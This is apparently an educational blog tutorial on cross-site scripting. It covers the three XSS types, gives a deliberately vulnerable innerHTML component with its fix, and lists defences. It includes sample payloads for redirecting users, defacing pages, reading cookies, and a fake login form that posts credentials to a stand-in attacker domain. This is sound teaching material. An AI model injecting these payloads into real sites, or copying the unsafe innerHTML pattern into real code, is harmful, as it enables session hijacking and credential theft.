Skip to main content

XSS Attacks: Hands-On

· 7 min read

Cross-Site Scripting (XSS) is what happens when a browser can't tell the difference between your application's code and data an attacker typed into a form field.

That's the whole vulnerability class in one sentence. Every XSS variant, and every fix, comes back to that one broken assumption.

What XSS actually is​

Browsers render HTML and execute JavaScript. If your application takes a user's input — a comment, a search term, a URL parameter — and puts it into the page without encoding it first, the browser has no way to know that string came from a stranger instead of your own developers. It just runs it.

That's the mechanism. The impact comes from what the script can then do: it runs inside the victim's session, with access to their cookies, their view of the DOM, and anything else the page can reach. A script that steals a session cookie doesn't need to break authentication — it just needs to read what the browser already trusts.

XSS is consistently grouped under Injection in the OWASP Top 10, which tells you it's not a niche or theoretical problem — it's a standard category attackers check for by default.

Types of XSS Attacks​

The three types differ only in where the untrusted data enters and how it reaches the browser. The underlying flaw — unencoded output — is the same in all three.

  1. Reflected XSS: the payload is part of the request (a URL parameter, a form field) and the server echoes it straight back into the response.
Example

An attacker sends a victim a link like http://example.com/search?q=<script>alert('XSS')</script>. The server reflects the query parameter into the results page unmodified, and the script runs in the victim's browser.

  1. Stored XSS: the payload is saved on the server — in a database, a comment thread, a support ticket — and served to every user who later views that content.
Example

An attacker posts a script in a blog comment. Every visitor who loads that comment thread executes it, which makes stored XSS more dangerous than reflected: one payload, many victims, no link for anyone to click.

  1. DOM-based XSS: the payload never touches the server. Client-side JavaScript reads untrusted data — often from the URL fragment or document.location — and writes it into the DOM directly.
Example

http://example.com/page#<script>alert('XSS')</script> — client-side code reads the fragment after the # and inserts it into the page. The server never sees this part of the URL, so server-side filtering does nothing here.

Building a vulnerable input, then breaking it​

The fastest way to understand XSS is to trigger it yourself.

/src/xss/code.js
function LiveExample() {
const displayUserInput = () => {
const userInput = document.getElementById('userInput').value;
// Vulnerable line: Directly setting innerHTML without sanitization
document.getElementById('output').innerHTML = userInput;
};

return (
<div>
<input type="text" id="userInput" placeholder="Enter text or HTML" />
<button onClick={displayUserInput}>Display</button>
<div id="output"></div>
</div>
);
}
warning

This component is vulnerable because it writes user input straight into innerHTML. There's no encoding step, so any HTML you type is parsed and executed, not displayed as text.

Type this into the field and click Display:

<img src="invalid.jpg" onerror="alert('XSS')">

The image fails to load, the onerror handler fires, and you get an alert box. Nobody wrote an alert() call into this component — you supplied it as data, and the browser ran it as code anyway.

One caveat on the label: this demo has no server round-trip, so it's closer to the DOM-based pattern than to reflected XSS. The reflected example above needs the payload to actually travel through a request to a server; here it never leaves the page.

Swap the alert for something with real consequences, and the pattern is identical:

Redirect the victim:

<img src="invalid.jpg" onerror="window.location='https://malicious-site.example';">

Overwrite the page:

<img src="invalid.jpg" onerror="document.body.innerHTML='<h1>Your page has been compromised</h1>';">

Read the session cookie:

<img src="invalid.jpg" onerror="alert('Cookies: ' + document.cookie);">

An alert() is the harmless version. A real payload sends document.cookie to a server the attacker controls, which is enough to hijack the session — no password needed.

Stage a fake login form:

<img src="invalid.jpg" onerror="document.body.innerHTML='<form action=\"https://malicious-site.example\"><input type=\"text\" placeholder=\"Username\"><input type=\"password\" placeholder=\"Password\"><button type=\"submit\">Login</button></form>';">

The victim is looking at your domain in the address bar and typing credentials into a form the attacker wrote.

The onerror trick isn't the vulnerability — it's just a convenient way to run arbitrary JavaScript without needing a real <script> tag, which some naive filters block while missing everything else.

Fixing it​

Reflected, stored, and DOM-based XSS all share one root cause, so the fix is the same in every case: never let untrusted data reach the browser as unencoded HTML.

A layered defense usually combines:

  • Output encoding — this is the actual fix. Convert <, >, &, and quotes to their HTML entity equivalents before writing user data into the page, so the browser renders them as text instead of parsing them as markup.
  • Input validation — reject or constrain input that has no business containing HTML at all (a phone number field, for example). This narrows the attack surface but doesn't replace output encoding — validation happens at the boundary, encoding happens at the point of output, and skipping the second because you did the first is how filtered inputs still get exploited.
  • Content Security Policy (CSP) — restrict which script sources the browser will execute. A strict CSP won't stop the injection, but it can stop the injected script from doing anything useful, like exfiltrating data to an attacker's domain.
  • HttpOnly and Secure cookie flags — HttpOnly blocks JavaScript from reading the cookie via document.cookie, which defuses the cookie-theft example above even if the injection still succeeds. Secure ensures the cookie only travels over HTTPS.
  • Regular security testing — automated scanning and manual review catch the cases where encoding was missed, which happens most often at the edges of an application: error messages, redirect URLs, third-party widget integrations.

None of these are XSS-specific in a vacuum — CSP and cookie flags are general browser security controls — but output encoding is the one that addresses the actual root cause. The rest limit the blast radius when encoding was missed somewhere.

Fixing the demo​

function LiveExample() {
const displayUserInput = () => {
const userInput = document.getElementById('userInput').value;

// Encode as text instead of parsing as HTML.
// Writing to textContent, then reading innerHTML back out,
// converts <, >, & and quotes to their entity equivalents.
const encoder = document.createElement('div');
encoder.textContent = userInput;
const sanitizedUserInput = encoder.innerHTML;

document.getElementById('output').innerHTML = sanitizedUserInput;
};

return (
<div>
<input type="text" id="userInput" placeholder="Enter text or HTML" />
<button onClick={displayUserInput}>Display</button>
<div id="output"></div>
</div>
);
}

Note what changed: the previous version used JavaScript's escape() function, which is meant for URI encoding, not HTML output — it doesn't touch < or >, so it wouldn't have stopped any of the payloads above. The fix here routes the input through textContent first, which forces the browser to treat it as plain text and encode it correctly before it ever reaches innerHTML.

Paste this into the live demo above and try the same <img onerror> payloads again. They render as inert text instead of executing — same input, different output path, because the browser is no longer being asked to guess whether that string is markup or content.

That's the entire lesson: XSS is what happens by default when an application doesn't draw a hard line between data and code. Draw that line at every point where user input becomes output, and the rest of the defenses in this post become backup, not the first line.